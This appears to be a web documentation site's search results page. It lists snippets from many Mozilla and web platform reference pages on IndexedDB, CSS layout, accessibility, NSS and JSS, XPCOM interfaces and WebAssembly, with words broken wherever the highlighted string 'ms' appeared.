... idbdatabase.objectstorenames read only a do
mstringlist that contains a list of the names of the object stores currently in the connected database.
...indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database using // idbdatabase.createobjectstore var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data ite
ms the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", ...
...And 18 more matches
JXON - Archive of obsolete content
a tree of nested instances of object) and viceversa, with some different algorith
ms.
... the algorith
ms proposed here (see: #1, #2, #3, #4) will consider only the following types of nodes and their attributes: document (only as function argument), documentfragment (only as function argument), element, text (never as function argument), cdatasection (never as function argument), attr (never as function argument).
... the following algorith
ms are somewhat based on the parker convention, version 0.4, which prescribes the transformation of tags names into object properties names and the recognition of the typeof of all the collected text content of each tag (plain text parsing); but with some differences (so, one can say that we follow a our convention).
...And 17 more matches
Mobile accessibility - Learn web development
previous overview: accessibility next with web access on mobile devices being so popular and renowned platfor
ms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platfor
ms.
... objective: to understand what proble
ms exist with accessibility on mobile devices, and how to overcome them.
... these days, mobile devices can usually handle fully-featured websites, and the main platfor
ms even have screenreaders built in to enable visually impaired users to use them successfully.
...And 17 more matches
Arrays - Learn web development
previous overview: first steps next in the final article of this module, we'll look at arrays — a neat way of storing a list of data ite
ms under a single variable name.
... here we look at why this is useful, then explore how to create an array, retrieve, add, and remove ite
ms stored in an array, and more besides.
...maybe we've got a series of product ite
ms and their prices stored in an array, and we want to loop through them all and print them out on an invoice, while totaling all the prices together and printing out the total price at the bottom.
...And 17 more matches
JSS Provider Notes
contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss 3.2 implements several jce (java cryptography extension) algorith
ms.
... these algorith
ms have at various times been export-controlled by the us government.
... sun therefore requires that jar files implementing jce algorith
ms be digitally signed by an approved organization.
...And 17 more matches
Mozilla-JSS JCA Provider notes
contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss implements several jce (java cryptography extension) algorith
ms.
... these algorith
ms have at various times been export-controlled by the us government.
... jre therefore requires that jar files implementing jce algorith
ms be digitally signed by an approved organization.
...And 17 more matches
sslfnc.html
nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_cipherprefsetdefault ssl_cipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ssl_configmpserversidcache ssl_inheritmpserversidcache nss_init sets up configuration files and perfor
ms other tasks required to run network security services.
... nss_initreadwrite sets up configuration files and perfor
ms other tasks required to run network security services.
... nss_nodb_init perfor
ms tasks required to run network security services without setting up configuration files.
...And 17 more matches
WebGL best practices - Web APIs
likewise the limits of your system will be different than your clients' syste
ms!
...in practice, effectively all syste
ms support at least the following: max_cube_map_texture_size: 4096 max_renderbuffer_size: 4096 max_texture_size: 4096 max_viewport_di
ms: [4096,4096] max_vertex_texture_image_units: 4 max_texture_image_units: 8 max_combined_texture_image_units: 8 max_vertex_attribs: 16 max_varying_vectors: 8 max_vertex_uniform_vectors: 128 max_fragment_uniform_vectors: 64 ...
... aliased_point_size_range: [1,100] your desktop may support 16k textures, or maybe 16 texture units in the vertex shader, but most other syste
ms don't, and content that works for you will not work for them!
...And 17 more matches
Accessibility documentation index - Accessibility
where a failure occurs we will test the browser for api incorrectness, using tools such as
msaa inspect.
... 8 for
ms aria, accessibility the following pages provide various techniques for improving the accessibility of web for
ms: 9 alerts aria, accessibility, for
ms, web you have a form — a contact form, for example — that you want to put some accessible error checking into.
... examples of common proble
ms include e-mail addresses which are not valid, or a name field which does not contain at least a first name or a surname.
...And 17 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://
msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers.
... values: flex | inline-flex spec: https://drafts.csswg.org/css-flexbox/#flex-containers @mixin flexbox { display: -webkit-box; display: -moz-box; display: -webkit-flex; display: -
ms-flexbox; display: flex; } //using this mixin %flexbox { @include flexbox; } @mixin inline-flex { display: -webkit-inline-box; display: -moz-inline-box; display: -webkit-inline-flex; display: -
ms-inline-flexbox; display: inline-flex; } %inline-flex { @include inline-flex; } flexbox direction the flex-direction property specifies how flex ite
ms are placed in the flex container, b...
...this determines the direction in which flex ite
ms are laid out in.
...And 17 more matches
Web video codec guide - Web media technologies
it all depends on the underlying algorith
ms and mathematics.
... effect of codec configuration on encoded output the algorith
ms used do encode video typically use one or more of a number of general techniques to perform their encoding.
... lossy compression to some degree, artifacts and other for
ms of quality degradation wil occur, depending on the specific codec and how much compression is being applied the more the encoded video is allowed to deviate from the source, the easier it is to accomplish higher compression rates quality setting the higher the quality configuration, the more like the original media the encoded video will look in general, higher quality settings ...
...And 17 more matches
Menus - Archive of obsolete content
menulist a menulist is used when you wish the user to select from a list of ite
ms.
... for this type of menu, one of the ite
ms within it is selected.
... menupopup a popup containing ite
ms to appear on a menu.
...And 16 more matches
Legacy layout methods - Learn web development
previous overview: css layout next grid syste
ms are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
... prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind the grid layout syste
ms used prior to css grid layout being available in browsers.
... layout and grid syste
ms before css grid layout it may seem surprising to anyone coming from a design background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs.
...And 16 more matches
Your first form - Learn web development
overview: for
ms next the first article in our series provides you with your very first experience of creating a web form, including designing a simple form, implementing it using the right html form controls and other html elements, adding some very simple styling via css, and describing how data is sent to a server.
... objective: to gain familiarity with what web for
ms are, what they are used for, how to think about designing them, and the basic html elements you'll need for simple cases.
... what are web for
ms?
...And 16 more matches
Multiprocess on Windows
on the other hand, com's multithreaded apartment (mta) uses a much faster ipc mechanism that does not suffer from the same proble
ms as the message queue.
...the interceptor is also aware that any outpara
ms, which contain interfaces, must also be wrapped with interceptors of their own.
... this code lives in the
mscom library, located in the tree at /ipc/
mscom.
...And 16 more matches
Localization content best practices
note on localizers mozilla localizers are volunteers with very diverse technical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have proble
ms working with vcs syste
ms.
... add localization notes localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files the
mselves, too.
...privacy-link = privacy ter
ms file-wide comments should use the same format, they should be at the top of the file (after the license header) and just drop the (entity name/key) reference.
...And 16 more matches
nsIAccessibleProvider
xultext 0x0000101a xultextbox 0x0000101b xulthumb 0x0000101c xultree 0x0000101d xultreecolumns 0x0000101e xultreecolumnitem 0x0000101f xultoolbar 0x00001020 xultoolbarseparator 0x00001021 xultooltip 0x00001022 xultoolbarbutton 0x00001023 xfor
ms elements constants constant value description xfor
mscontainer 0x00002000 used for xfor
ms elements that provide accessible object for itself as well for anonymous content.
... this property is used for upload, input[type="xsd:gday"] and input[type="xsd:gmonth"] xfor
mslabel 0x00002001 used for label element.
... xfor
msouput 0x00002002 used for output element.
...And 16 more matches
Fullscreen API - Web APIs
in a real-world deployment, at this time, you'll want to check for prefixed versions of this (mozfullscreenelement,
msfullscreenelement, or webkitfullscreenelement, for example).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfullscreen deprecatedchrome full support 71 full support 71 full support 15alternate name alternate name uses the non-standard name: webkitisfullscreenedge full support ≤79 full support ...
... support 50 full support 14alternate name alternate name uses the non-standard name: webkitisfullscreensafari ios full support 6alternate name full support 6alternate name alternate name uses the non-standard name: webkitisfullscreensa
msung internet android full support 10.0 full support 10.0 full support 1.0alternate name alternate name uses the non-standard name: webkitisfullscreenlegend full support full support ...
...And 16 more matches
HTMLFormElement - Web APIs
htmlformelement.name a do
mstring reflecting the value of the form's name html attribute, containing the name of the form.
... htmlformelement.method a do
mstring reflecting the value of the form's method html attribute, indicating the http method used to submit the form.
... htmlformelement.target a do
mstring reflecting the value of the form's target html attribute, indicating where to display the results received from submitting the form.
...And 16 more matches
IDBTransaction - Web APIs
since such catastrophic events are rare, most consumers should not need to concern the
mselves further.
... idbtransaction.objectstorenames read only returns a do
mstringlist of the names of idbobjectstore objects associated with the transaction.
...duplicate ite
ms not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the...
...And 16 more matches
Signaling and video calling - Web APIs
function sendtooneuser(target,
msgstring) { var isunique = true; var i; for (i=0; i<connectionarray.length; i++) { if (connectionarray[i].username === target) { connectionarray[i].send(
msgstring); break; } } } this function iterates over the list of connected users until it finds one matching the specified username, then sends the message to that user.
... the parameter
msgstring is a stringified json object.
...this involves a change near the end of the "connection" message handler: if (sendtoclients) { var
msgstring = json.stringify(
msg); var i; if (
msg.target &&
msg.target !== undefined &&
msg.target.length !== 0) { sendtooneuser(
msg.target,
msgstring); } else { for (i=0; i<connectionarray.length; i++) { connectionarray[i].send(
msgstring); } } } this code now looks at the pending message to see if it has a target property.
...And 16 more matches
ARIA Test Cases - Accessibility
where a failure occurs we will test the browser for api incorrectness, using tools such as
msaa inspect.
... new tests for internet explorer 8 rc1 on this
msdn page the aria state/role mapping in ie8 to
msaa roles can be directly checked.
... screen magnifier should show the focused button or emulate any other standard behavior found in notification dialogs in windows or respective operating syste
ms.
...And 16 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in ter
ms of ensuring enough color contrast for sighted users with color blindness or reduced vision and preventing seizures and other physical reactions in people with vestibular disorders.
... at the surface, the subject see
ms simple, but it is actually a complex subject because color is as much about the physiology of the eye and human perception as it is about light emitting from a computer screen.
... in ter
ms of accessibility, the use of certain color-combinations have more impact than others.
...And 16 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
the module ai
ms to create a consistent method of alignment across all of css.
...on the block (cross) axis the alignment of the ite
ms inside their grid areas is controlled with align-ite
ms.
... the first item overrides the align-ite
ms value set on the group by setting align-self to center.
...And 16 more matches
place-content - CSS: Cascading Style Sheets
values start the ite
ms are packed flush to each other toward the start edge of the alignment container in the appropriate axis.
... end the ite
ms are packed flush to each other toward the end edge of the alignment container in the appropriate axis.
... flex-start the ite
ms are packed flush to each other toward the edge of the alignment container depending on the flex container's main-start or cross-start side.
...And 16 more matches
Adding menus and submenus - Archive of obsolete content
the menubar element should be a child of a toolbox element because it is treated like another toolbar on syste
ms other than mac os x.
... mac os x treats menus in a very different way than other syste
ms.
...bel="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(event);" /> </menupopup> </menu> <menuitem label="&xulschoolhello.greet.custom.label;" oncommand="xulschoolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> in this case we grouped the 3 greeting ite
ms into a submenu.
...And 15 more matches
Requests For Enhancement - Archive of obsolete content
introduction the purpose of this page is to gather requests for enhancement to the mozilla xfor
ms implementation.
... if you have an idea that might improve mozilla's xfor
ms implementation then you should choose one of the following rfe categories and put your request there.
... you can also contact the xfor
ms team about your request.
...And 15 more matches
Introduction to CSS layout - Learn web development
for example, the <li> element is display: block by default, meaning that list ite
ms display one below the other in our english document.
...to use flexbox, you apply display: flex to the parent element of the elements you want to lay out; all its direct children then become flex ite
ms.
... however, if we add display: flex to the parent, the three ite
ms now arrange the
mselves into columns.
...And 15 more matches
nsIDBChangeListener
nstigator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(components.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsi
msgdatabase.
... there are a couple of ways to access the message database: if you have a nsi
msgfolder, you can do this like so: somefolder.
msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsi
msgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsi
msgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsi
msgdbhdr ahdrchanged, in ns
msgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsi
msgdbhdr ahdrchanged, in ns
msgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in ns
msgkey akeychanged, in ns
msg...
...key oldparent, in ns
msgkey newparent, in nsidbchangelistener ainstigator); void onannouncergoingaway(in nsidbchangeannouncer instigator); void onreadchanged(in nsidbchangelistener ainstigator); void onjunkscorechanged(in nsidbchangelistener ainstigator); void onhdrpropertychanged(in nsi
msgdbhdr ahdrtochange, in unsigned long aoldflags, in prbool aprechange, inout pruint32 astatus, in nsidbchangelistener ainstigator); void onevent(in nsi
msgdatabase adb, in string aevent); methods onhdrflagschanged() called when a message's flags change.
...And 15 more matches
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in do
mstring commandid, in boolean doshowui, in do
mstring value); boolean execcommandshowhelp(in do
mstring commandid); obsolete since gecko 14.0 do
mstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in do
mstring commandid); boolean querycommandindeterm(in do
mstring commandid); boolean...
... querycommandstate(in do
mstring commandid); boolean querycommandsupported(in do
mstring commandid); do
mstring querycommandtext(in do
mstring commandid); obsolete since gecko 14.0 do
mstring querycommandvalue(in do
mstring commandid); void releaseevents(in long eventflags); void routeevent(in nsidomevent evt); void write(); obsolete since gecko 2.0 void writeln(); obsolete since gecko 2.0 attributes attribute type description alinkcolor do
mstring same as body.alink bgcolor do
mstring same as body.bgcolor compatmode do
mstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode.
... designmode do
mstring set to "on" or "off" to enable or disable editing for the entire document at once.
...And 15 more matches
<textarea> - HTML: Hypertext Markup Language
styling html for
ms provides some useful tips on styling <textarea>s.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettextareachrome full support yesedge full support 12firefox full support yesnotes full support yesnotes notes before firefox 6, when a <textarea> was focused, the insertion point was placed at the end of the ...
...area> elements, which can be disabled using background-image: none.opera android full support yessafari ios full support yesnotes full support yesnotes notes unlike other major browsers, a default style of opacity: 0.4 is applied to disabled <textarea> elements.sa
msung internet android full support yesautocapitalize non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...And 15 more matches
Web audio codec guide - Web media technologies
the effect of codec configuration on encoded audio output audio codecs typically employ cleverly-designed and highly-complex mathematical algorith
ms to take source audio data and compress it to take substantially less space in memory or network bandwidth.
... in addition to choosing the type of encoder to use, you may have the opportunity to adjust the encoder using parameters that choose specific algorith
ms, tune those algorith
ms, and specify how many passes to apply while encoding.
...lossless compression algorith
ms reduce the size of the audio without compromising the quality or fidelity of the sound.
...And 15 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
situation int-evry manages about 3000 users (mostly students) who share computers in labs and "self service" computer roo
ms.
...choosing mozilla products allow us to use the same apps while running either windows or linux syste
ms (i suspect mac osx would be fine too).
... 14:41:11.547435040 +0200 @@ -12855,7 +12855,7 @@ moz_feeds=1 moz_jsdebugger=1 moz_jsloader=1 -moz_ldap_xpcom= +moz_ldap_xpcom=1 moz_mail_news= moz_mork=1 moz_morkreader= and set --enable-extensions=pref in mozconfig file, in fedora source rpm it is: [root@b008-02 sources]# grep enable-extensions /root/rpmbuild/sources/thunderbird-mozconfig ac_add_options --enable-extensions=pref it see
ms worse this time , as even after applying those compilation options mentioned above, i now get the following error message while stating thunderbird with autoconfig (autoconf.js having pref('general.config.filename','thunderbird.cfg'); ) and thunderbird.cfg calling getldap* functions to retrieve cn and mail address of the current user.
...And 14 more matches
Mozilla Crypto FAQ - Archive of obsolete content
in february 2000 iplanet e-commerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorith
ms.
...shortly thereafter the nss developers began work on an open source implementation of the rsa algorithm; that code, together with code previously developed for other cryptographic algorith
ms, will be included in a new version 3.1 of the nss open source cryptographic and pki library.
...department of commerce press release announcing the new regulations as well as the updated regulations (pdf) the
mselves.
...And 14 more matches
Mozilla release FAQ - Archive of obsolete content
take this into consideration when posting things) ftp see the mozilla ftp mirror section for ftp sites under which license ter
ms was mozilla released?
... gemini was a previous rendering engine project, renamed nglayout aurora is the navigation center in mozilla and navigator5 seamonkey refers to versions of mozilla based on xpfe and nglayout normandy refers to the mail/news branch of mozilla what are all these acrony
ms people are using in the newsgroup?
...regarding compilation options, it would be good not to compile with optimization, because it's much slower to build, and on windows platfor
ms, there's a bug in some versions of vc++ that makes mozilla crash in many common circu
mstances if compiled with optimization on.
...And 14 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circu
mstances to arrive at a common sense approach to browser detection.
... although browser detection is perhaps the most common scripting task that every web developer faces, it see
ms that the variety of different strategies in use for detecting browsers is unlimited.
... as a member of the netscape evangelism team who has spent over a year investigating existing web content, i can say without a doubt that most compatibility proble
ms found on the web today are due to a lack of understanding of the standards combined with inadequate and inappropriate browser detection strategies.
...And 14 more matches
Command line crash course - Learn web development
welcome to the terminal the terminal is a text interface for executing text-based progra
ms.
... one of the biggest criticis
ms of the command line is that it lacks hugely in user experience.
... since then, the terminal has remained a constant feature of all operating syste
ms — from desktop machines, to servers tucked away in the cloud (it’s not really a cloud), to microcomputers like the raspberry pi zero, and even to mobile phones.
...And 14 more matches
Software accessibility: Where are we today?
up until this point, the largest driving force behind desktop computing environments has been microsoft, first with
ms dos, followed by variants of microsoft windows.
... these operating syste
ms were not designed with the needs of people with disabilities in mind.
... many, including those who were blind or physically disabled, were unable to use applications which were written for microsoft operating syste
ms.
...And 14 more matches
OS.File for the main thread
on most operating syste
ms, this operation is handled directly by the operating system itself, which makes it as fast as possible.
...to specify options, pass an object that may contain some of the following flags: unixflags (ignored under non-unix platfor
ms) if specified, file opening flags, as per libc function open.
... unixmode (ignored under non-unix platfor
ms) if specified, file creation mode, as per libc function open.
...And 14 more matches
gettext
plurals gettext lets you define and use singular and plural for
ms of a string.
... the string definition in the messages.po file will look like this: #: file.php:3 #, php-format
msgid "%d user likes this."
msgid_plural "%d users like this."
msgstr[0] ""
msgstr[1] "" depending on the localizer's target language and its rules for creating plural for
ms, there might be another field for translation, e.g.
...
msgstr[2].
...And 14 more matches
Standard OS Libraries
a complete list of windows apis can be found at the
msdn api index.
...this comes shipped by default with all installations of windows operating syste
ms since win98.
...a list of all the functions available through this api can be found at the
msdn winapi index.
...And 14 more matches
Accessibility Inspector - Firefox Developer Tools
this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circu
mstances such as the device they are using, the speed of their network connection, or their geographic location or locale.
... features of the accessibility panel the enabled accessibility panel looks like so: on the left-hand side, there is a tree diagram representing all the ite
ms in the accessibility tree for the current page.
... ite
ms with nested children have arrows that can be clicked to reveal the children, so you can move deeper into the hierarchy.
...And 14 more matches
IDBIndex - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidbindexchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitcountchrome full support 24 full support 24 ...
...— ?prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8sa
msung internet android full support 1.5getchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
...And 14 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
the box alignment module for many people the first reason they start to look at flexbox is because of the ability to properly align flex ite
ms inside a flex container.
... flexbox provides access to properties that allow the alignment of ite
ms on their cross axis and justification of ite
ms on the main axis.
...additionally, any new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in this series — aligning ite
ms in a flex container — we will take a thorough look at how the box alignment properties apply to flex ite
ms.
...And 14 more matches
itemprop - HTML: Hypertext Markup Language
each name-value pair is called a property, and a group of one or more properties for
ms an item.
... html <div ite
mscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop nam...
... three properties with values that are strings <div ite
mscope> <p>my name is <span itemprop="name">neil</span>.</p> <p>my band is called <span itemprop="band">four parts water</span>.</p> <p>i am <span itemprop="nationality">british</span>.</p> </div> one property, "image", whose value is a url <div ite
mscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a ...
...And 14 more matches
WebAssembly
compiling a new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a tool like e
mscripten.
... examples was
msobel see our webassembly-examples repo for a number of other examples.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jswebassemblychrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
...And 14 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
the toolbarpalette is a collection of all toolbar buttons and toolbar ite
ms in firefox, including those added by extensions.
... setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different syste
ms, and also consider the different button states, but we'll get into that further ahead.
...the way to include the file in the manifest is to add this line: style chrome://global/content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar ite
ms, you'll have to include the css files for those as well, each in a new line like the one above.
...And 13 more matches
ContextMenus - Archive of obsolete content
context menus a context menu is a menu where the ite
ms on the menu are specific to the context in which the menu was opened.
...on macintosh syste
ms with only one mouse button, a context menu may be opened by either holding down the mouse button or by pressing the control key and clicking the mouse button.
...for example, the following will attach a context menu with the id 'contentareacontextmenu' to a browser element: <browser context="contentareacontextmenu"> indicating the default item on some platfor
ms, one of the ite
ms in a context menu is marked as being a default operation.
...And 13 more matches
WAI-ARIA basics - Learn web development
wai-aria is a technology that can help with such proble
ms by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
... a whole new set of proble
ms as web apps started to get more complex and dynamic, a new set of accessibility features and proble
ms started to appear.
...the paciello group has a fairly up-to-date post that provides data for this — see rough guide: browsers, operating syste
ms and screen reader support updated.
...And 13 more matches
Aprender y obtener ayuda - Learn web development
you concentrate deeply on a low-level topic and solving the specific proble
ms that it brings.
...it isn't however very good at getting an understanding of "the big picture", and unlocking new neural pathways when you are trying to understand new subjects or solve new proble
ms that you haven't come across before.
...i am free on evenings and weekends, so i'll plan my time around those." how much time you can spend on this of course depends on what your circu
mstances are.
...And 13 more matches
Accessibility API cross-reference
the ipc mechanis
ms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets.
... the gnome accessibility architecture is implemented via atk and at-spi, and was implemented by sun microsyste
ms.
...however, only about one third of the states and roles in sun's accessibility api's are the same as in
msaa.
...And 13 more matches
Displaying Places information using views
<tree type="places" place="place:ter
ms=mozilla&onlybookmarked=1&querytype=1"> <treecols> <treecol id="title" label="my bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> the next example does the same as the last but uses javascript to set the tree's place attribute: var histserv = cc["@mozilla.org/browser/nav-history-service;1"].
... getservice(ci.nsinavhistoryservice); var query = histserv.getnewquery(); query.searchter
ms = "mozilla"; query.onlybookmarked = true; var opts = histserv.getnewqueryoptions(); opts.querytype = opts.query_type_bookmarks; var uri = histserv.queriestoquerystring([query], 1, opts); var tree = document.getelementbyid("mytree"); tree.place = uri; these two examples use the built-in tree view, but the point is to demonstrate the use of the place attribute and property.
...results the
mselves observe places changes, and if on a places change a result determines that its data specifically has changed, it notifies its view by calling an appropriate method of nsinavhistoryresultviewer.
...And 13 more matches
Bytecode Descriptions
format: jof_atom, jof_prop, jof_propinit initele
msetter, inithiddenele
msetter stack: obj, id, setter ⇒ obj define an accesssor property on obj with property key id and the given setter.
...jsop::inithiddenele
msetter is the same but defines a non-enumerable property, for setters in classes.
...in spec ter
ms, obj.[[get]](name, receiver).
...And 13 more matches
nsIFile
with an nsifile you can navigate to ancestors or descendants without having to deal with the different path separators used on different platfor
ms, query the state of any file or directory at the position represented by the nsifile and create, move or copy ite
ms in the filesystem.
... all methods with string parameters have two for
ms.
...therefore, the utf-16 for
ms are scriptable, but the "native methods" are not.
...And 13 more matches
nsIJumpListBuilder
the default number of allowed ite
ms in a jump list is ten.
...user may also pin ite
ms to jump lists, which take up additional slots.
... applications do not have control over the number of ite
ms allowed in jump lists; excess ite
ms added are dropped by the system.
...And 13 more matches
nsIPromptService
an instance, use: var promptservice = components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice); method overview void alert(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext); void alertcheck(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheck
msg, inout boolean acheckstate); boolean confirm(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext); boolean confirmcheck(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheck
msg, inout boolean acheckstate); print32 confirmex(in nsidomwindow aparent,in wstring adialogtitle,in wstring atext, in unsigned long abuttonflags,in w...
...string abutton0title, in wstring abutton1title,in wstring abutton2title,in wstring acheck
msg, inout boolean acheckstate); boolean prompt(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring avalue, in wstring acheck
msg, inout boolean acheckstate); boolean promptusernameandpassword(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring ausername, inout wstring apassword, in wstring acheck
msg, inout boolean acheckstate); boolean promptpassword(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, inout wstring apassword, in wstring acheck
msg, inout boolean acheckstate); boolean select(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in pruint32 acount, [array, size_is(ac...
...void alertcheck( in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheck
msg, inout boolean acheckstate ); parameters aparent the parent window for the dialog.
...And 13 more matches
nsITelemetry
toolkit/components/telemetry/nsitelemetry.idlscriptable a service to gather performance data that can be tracked over time to allow generating histogra
ms.
... inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistogra
ms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistogra
ms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void seth...
...istogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double
mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedscalarset(in acstring aname, in astring akey, in jsval avalue); void keyedscalarsetmaximum(in acstring aname, in astring akey, in jsval avalue); jsval snapshotkeyedscalars(in uint32_t adataset, [optional] in boolean aclear...
...And 13 more matches
Microdata DOM API - Web APIs
the document.getite
ms(typenames) method provides access to the top-level microdata ite
ms.
... it returns a nodelist containing the ite
ms with the specified types, or all types if no argument is specified.
... each item is represented in the dom by the element on which the relevant ite
mscope attribute is found.
...And 13 more matches
WebAssembly - JavaScript
examples stream a .wasm module then compile and instantiate it the following example (see our instantiate-streaming.html demo on github, and view it live also) directly strea
ms a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject.
